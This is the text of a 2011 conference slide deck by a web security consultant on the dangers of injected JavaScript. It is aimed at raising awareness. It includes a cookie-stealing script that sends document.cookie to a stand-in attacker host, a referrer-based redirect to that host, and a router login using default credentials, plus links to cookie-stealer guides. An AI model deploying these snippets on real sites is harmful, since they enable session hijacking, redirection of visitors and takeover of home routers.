JAVASCRIPT goneWILD

Akash Mahajan | jsFoo 2011

WARNING

NSFWDon’t say I didn’t warn you. This presentation is Not Safe For Work.

Don’t worry

I swear this presentation doesn’t have dirty pictures in it.

No Dirty Pictures

DISCLAIMER

This presentation is low on technical content.

Tech Lite

Why bother?

Planting the seed of an idea.

INCEPTION

What is the idea?JavaScript code showing up in unexpected places can have unintended consequences.

Can you have fun and profit from this somehow?

Wild Idea #1• Stealing a session cookie

<script> ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src","http://evil.cxm/cookiestealer?

stolencookie" + document.cookie); document.body.appendChild(ifrm); </script>

Firesheep also does session hijacking by stealing cookies in transit.

Wild Idea #1.5

One can steal username and password with JS in a login form.

Wilder Idea #2• Stealing the Google page rank

if(document.referrer == 'google') { var locationurl = 'http://evil.cxm/google1.php'; location.href = locationurl; }

Do you regularly check the link you get from google to your site?

Wilder Idea #2.5

What if the JavaScript redirects users to a malicious download page?

Wildest Idea #3• Login to an internal ADSL router website using a

default username and password. var loginUrl = ‘http://admin:admin@192.168.1.1/’; document.location = loginUrl;

Obviously you all have changed the default password long back, right

Wildest Idea #3.5

Allowing untrusted code in the browser is not the smartest thing to do.

His WILDNESS!!!

Samy Kamkar wrote JS code to get more friends in MySpace. At one point he had over a million friends in less than 24 hours

Jumping to conclusions

JavaScript can be pretty wild if it shows up in unexpected places. The very idea that outside code is allowed execution in the browser is radical and dangerous.

PIMPING MYSELF/ QnA

Akash Mahajan Web Security Consultant

http://akashm.com | @makash akashmahajan@gmail.com | 9980527182

References, Attribution• Image on slide 12 has been taken from a presentation by Jeremiah Grossman at Black

Hat 2006 conference. o http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf

• Image on slide 13 has been taken from http://www.flickr.com/photos/iscteiul/ . The image is available for reuse under Creative Commons.

• Some Reference Linkso JavaScript History Stealing Attack

http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.htmlo Samy is my Hero – MySpace XSS Worm

http://namb.la/popular/tech.htmlo JavaScript to steal session cookies

http://jehiah.cz/a/xss-stealing-cookies-101 http://www.go4expert.com/forums/showthread.php?t=17066 http://www.criticalsecurity.net/index.php/topic/7137-how-to-make-a-cookie-stealer/

o Trailer of the Movie ‘The Dirty Picture’ http://www.youtube.com/thedirtypicturefilm

o Ending of the movie inception explained. http://screenrant.com/inception-spoilers-discussion-kofi-68330/

• 06-Grossman.pdf